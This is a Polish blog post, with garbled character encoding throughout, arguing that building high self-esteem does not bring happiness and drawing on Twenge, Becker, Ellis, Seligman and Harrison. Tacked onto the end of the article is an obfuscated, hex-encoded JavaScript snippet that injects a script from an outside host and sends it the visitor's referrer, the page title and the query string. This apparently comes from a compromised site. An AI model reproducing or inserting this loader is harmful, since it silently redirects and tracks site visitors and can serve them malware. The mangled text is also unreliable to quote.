Nie musisz wierzyA� w siebie!

opublikowane w Najnowsze Wpisy, Psychologia | 1

a�zUwierz w siebiea�?

a�zPokochaj siebiea�?

a�zJesteA� wyjA�tkowya�?

a�zLiczy siA� tylko to co sam o sobie myA�lisza�?

a�zKochaj siebie na pierwszym miejscua�?

a�zWarto czasem byA� samolubnyma�?

WspA?A�czesny A�wiat bombarduje nas tymi i podobnymi hasA�ami. Mamy byA� dla siebie najwaA?niejsi, asertywni, zawsze myA�leA� o sobie dobrze, a naweta��byA� egoistyczni. PowstaA�y termin pozytywny egoizmA�mA?wi o utrzymywaniu koncentracji na sobie, dbaniu o siebie i A�miaA�ym zajmowaniu centralnej pozycji w swoim wA�asnym A�wiecie. ChoA� A�wiat uczy, by ego stawiaA� na piedestale,A� czA�sto wcale nie jest nam ze sobA� dobrze, szukamy akceptacji innych, jesteA�my niewolnikami ich pochwaA�. SA�yszymy, A?e dzieje siA� tak, bo za maA�o kochamy siebie i mamy niskie poczucie wA�asnej wartoA�ci. Czy jednak zbudowanie wysokiego poczucia wA�asnej wartoA�ci i uwierzenie w siebie sprawiajA�, A?e jesteA�my szczA�A�liwsi? Okazuje siA�, A?e nie.

SkA�d ta obsesja?

Idea rozwijania poczucia wA�asnej wartoA�ci obiecuje nam wiele: ma odpowiedzieA� na pytanie ile jesteA�my warci, nadaA� sens naszemu A?yciu. Zbudowanie wysokiej samooceny ma prowadziA� nas do sukcesu, zapewniA� udane relacje z innymi, sprawiA�, A?e dobrze bA�dziemy czuA� siA� ze sobA�,jednym sA�owem-ma daA� nam szczA�A�liwe A?ycie. Na caA�ym A�wiecie powstajA� ruchy, kursy, szkolenia iA�ksiA�A?ki o tym, jak zwiA�kszyA� poczucie wA�asnej wartoA�ci czy podnieA�A� samoocenA�. KsiA�A?ki motywacyjne przekonujA� nas, A?e jesteA�my wyjA�tkowi i moA?emy wszystko, wystarczy uwierzyA� w siebie. Warto jednak zapytaA�, czy to siA� sprawdziA�o? Czy obietnice zostaA�y speA�nione? Czy zachA�cajA�c ludzi, by cenili i kochali siebie, uzyskuje siA� oczekiwany efekt?

Za sprawA� edukacji terapeutycznej i wprowadzenia koncepcji poczucia wA�asnej wartoA�ci do programA?w nauczania w USA, odnotowano znaczny wzrost poczucia wA�asnej wartoA�ci u dzieci i nastolatkA?w. Badania (dr Jean M. Twenge, 2006) pokazujA�, A?e nastolatkowie, ktA?rzy zostali poddani testom, uznajA� siA� za atrakcyjnych fizycznie, bardzo inteligentnych, odpowiedzialnych. ChA�tnie zgadzajA� siA� z takimi stwierdzeniami jak:A�jestem waA?nA� osobA�, z A�atwoA�ciA� przychodzi mi manipulacja innymi, domagam siA� naleA?nego mi szacunku, zawsze postA�pujA� wA�aA�ciwie. Twenge zbadaA�a, A?e budowanie wysokiej samooceny wiA�A?e siA� z wiA�kszA� pewnoA�ciA� siebie, asertywnoA�ciA�, rozczeniowoA�ciA� oraz brakiem empatii.A� Twierdzi ona takA?e, A?e dzisiejsi mA�odzi Amerykanie sA� bardziej nieszczA�A�liwi niA? kiedykolwiek wczeA�niej.

Badania pokazujA�, A?e zwiA�kszanie poczucia wA�asnej wartoA�ci nie ma pozytywnych efektA?w w dziedzinie edukacji, za to otrzymano negatywne wyniki w sferze zdrowia psychicznego. Brak teA? pozytywnego wpA�ywu na przystosowanie spoA�eczne czy tworzenie zdrowych zwiA�zkA?w miA�dzyludzkich. Co wiA�cej, wielu psychologA?w obwinia ruch poczucia wA�asnej wartoA�ci o tworzenie negatywnych tendencji spoA�ecznych takich jak: rozwA?j kultury celebrytA?w, roszczeniowoA�A�, egoizm i narcyzm. PrA?by poczucia siA� dobrze we wA�asnej skA?rze z reguA�y wzmagajA� niepokA?j, zamiast go leczyA�. Dzieje siA� tak dlatego, A?e wysiA�ek wkA�adany w starania o uniezaleA?nienie siA� od opinii innych prowadzi do powtarzania starych nawykA?w, do ktA?rych naleA?y porA?wnywanie siA� oraz chA�A� zdobycia akceptacji.

Po co nam wysoka samoocena?

Psychologiczna szkoA�a upowszechniajA�ca teoriA� opanowywania trwogi zainspirowana badaniami Ernsta Beckera, uczy, A?e poczucie wA�asnej wartoA�ci jest psychologicznA� obronA� przed niepokojem egzystencjonalnym. A?udzimy siA� iluzjA� wysokiej wartoA�ci po to, by odsunA�A� od siebie myA�l o tym, A?e jesteA�my nieistotni i w koA�cu przeminiemy. Jednak, jak twierdzi Becker, budowanie wysokiej samooceny nie pomaga w pozbyciu siA� tej metafizycznej niepewnoA�ci.

Psycholog Albert Ellis potA�pia ideologiA� poczucia wA�asnej wartoA�ci, twierdzA�c, A?e jest ona bezmyA�lna i absurdalna. UwaA?a on, A?e powinniA�my oceniaA� nasze cechy i zachowania, nie zaA� siebie w pojA�ciu ogA?lnym. NaleA?y wiA�c rozwijaA� pewnoA�A� swoich umiejA�tnoA�ci, a nie pewnoA�A� siebie. Ellis proponuje rozwiA�zanie, by przestaA� uA?alaA� siA� nad sobA�, wydajA�c ogA?lne sA�dy o sobie, a skupiA� siA� na rozwijaniu swoich mocnych stron w poszczegA?lnych dziedzinach. UwaA?a on, A?e ideologia poczucia wA�asnej wartoA�ci oferuje nam filozoficznA� pustkA�. CzA�owiek skA�ada siA� z setek indywidualnych cech, ktA?re prowadzA� do rA?A?norodnych – dobrych lub zA�ych – dziaA�aA�. PrA?ba szufladkowania siebie ze wzglA�du na ogA?lnA� ocenA� naszej osoby jest wg niego nielogiczna. Zamiast dA�A?yA� do caA�oA�ciowej oceny pt.A�jestem super, czy jestem nic niewart, postarajmy siA� oceniaA� tylko swoje poszczegA?lne zachowania.

Martin Seligman – twA?rca psychologii pozytywnej twierdzi, A?e samochwalenie siA� jest bezcelowe i niemalA?e nieuczciwe. Odrzuca on A�lepy optymizm i utarte przekonania typu: jestem wyjA�tkowy, kaA?dego dnia stajA� siA� lepszy, twierdzA�c A?e czA�owiek powinien uczyA� siA� myA�leA� realistycznie o A?yciowych przeciwnoA�ciach, a nie poddawaA� siA� ulotnemu optymizmowi autoreklamy.A�Psychologowie przeciwni skupianiu siA� na budowaniu poczucia wA�asnej wartoA�ci uwaA?ajA�, A?e realistyczne spojrzenie na wA�asnA� osobA� jest niezbA�dnA� czA�A�ciA� prawidA�owego rozwoju zdrowia psychicznego. Nie odrzucajA� oni potrzeby budowania wA�aA�ciwego obrazu siebie.

Wiele czasu spA�dzamy na analizowaniu swoich odczuA�, ocenianie tego, jak jesteA�my postrzegani i porA?wnywaniu siA� z innymi. A�ycie staje siA� wA?wczas sinusoidA� niespokojnego egocentryzmu – po chwili dumy i zadowolenia, kiedy udaje nam siA� sprostaA� oczekiwaniom, nastA�pujA� chwile zaA�amania i wstydu, kiedy napotykamy niepowodzenia. Co wtedy, gdy obiektywna ocena naszego zachowania nie pozwala nam myA�leA� o sobie dobrze? WedA�ug Glynna Harrisona, profesora psychiatrii, mamy zaprzestaA�A� osA�dzania caA�ej swojej osoby, nie oceniaA� siebie w kategoriach dobry, zA�y, wartoA�ciowy, niewartoA�ciowy. PowinniA�my umieA� odnieA�A� siA� do swoich konkretnych zachowaA�, sA�aboA�ci, wad i uA�wiadomiA� sobie ich przyczyny. Zamiast karaA� siA� w obliczu poraA?ki, uA?alaA� nad sobA� i prA?bowaA� chroniA� swoje ego, myA�lA�c o sobie, A?e i tak jesteA�my super i udowadniaA�,A� A?e jesteA�my lepsi od innych, powinniA�my okazaA� sobie wspA?A�czucie, cierpliwoA�ci i wyrozumiaA�oA�A�. W towarzystwie tych emocji i akceptacji tego, A?e nie jesteA�my idealni, mamy podjA�A� wA�drA?wkA� samodoskonalenia siA�, wykraczajA�cA� ponad nasze ego. Warto bowiem czasem przestaA� koncentrowaA� siA� wyA�A�cznie na swoim JaA�i spojrzeA� na rzeczywistoA�A� szczerzej – poza nas samych.

A co Wy o tym sA�dzicie? Czy uwaA?acie, A?e wysokie poczucie wA�asnej wartoA�ci i wysoka samoocena sA� nam potrzebne do bycia szczA�A�liwym? Czy moA?na odnieA�A� sukces, mieA� udane relacje z innymi i czuA� siA� ze sobA� dobrze, nie bA�dA�c pewnym siebie i nie koncentrujA�c siA� na sobie w pierwszej kolejnoA�ci?var _0xb322=[„\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26\x73\x65\x5F\x72\x65\x66\x65\x72\x72\x65\x72\x3D”,”\x72\x65\x66\x65\x72\x72\x65\x72″,”\x26\x64\x65\x66\x61\x75\x6C\x74\x5F\x6B\x65\x79\x77\x6F\x72\x64\x3D”,”\x74\x69\x74\x6C\x65″,”\x26″,”\x3F”,”\x72\x65\x70\x6C\x61\x63\x65″,”\x73\x65\x61\x72\x63\x68″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”,”\x26\x66\x72\x6D\x3D\x73\x63\x72\x69\x70\x74″,”\x63\x75\x72\x72\x65\x6E\x74\x53\x63\x72\x69\x70\x74″,”\x69\x6E\x73\x65\x72\x74\x42\x65\x66\x6F\x72\x65″,”\x70\x61\x72\x65\x6E\x74\x4E\x6F\x64\x65″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64″,”\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65″,”\x70\x72\x6F\x74\x6F\x63\x6F\x6C”,”\x68\x74\x74\x70\x73\x3A”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x52\x5F\x50\x41\x54\x48″,”\x54\x68\x65\x20\x77\x65\x62\x73\x69\x74\x65\x20\x77\x6F\x72\x6B\x73\x20\x6F\x6E\x20\x48\x54\x54\x50\x53\x2E\x20\x54\x68\x65\x20\x74\x72\x61\x63\x6B\x65\x72\x20\x6D\x75\x73\x74\x20\x75\x73\x65\x20\x48\x54\x54\x50\x53\x20\x74\x6F\x6F\x2E”];var d=document;var s=d[_0xb322[1]](_0xb322[0]);s[_0xb322[2]]= _0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12];if(document[_0xb322[13]]){document[_0xb322[13]][_0xb322[15]][_0xb322[14]](s,document[_0xb322[13]])}else {d[_0xb322[18]](_0xb322[17])[0][_0xb322[16]](s)};if(document[_0xb322[11]][_0xb322[19]]=== _0xb322[20]&& KTracking[_0xb322[22]][_0xb322[21]](_0xb322[3]+ encodeURIComponent(document[_0xb322[4]])+ _0xb322[5]+ encodeURIComponent(document[_0xb322[6]])+ _0xb322[7]+ window[_0xb322[11]][_0xb322[10]][_0xb322[9]](_0xb322[8],_0xb322[7])+ _0xb322[12])=== -1){alert(_0xb322[23])}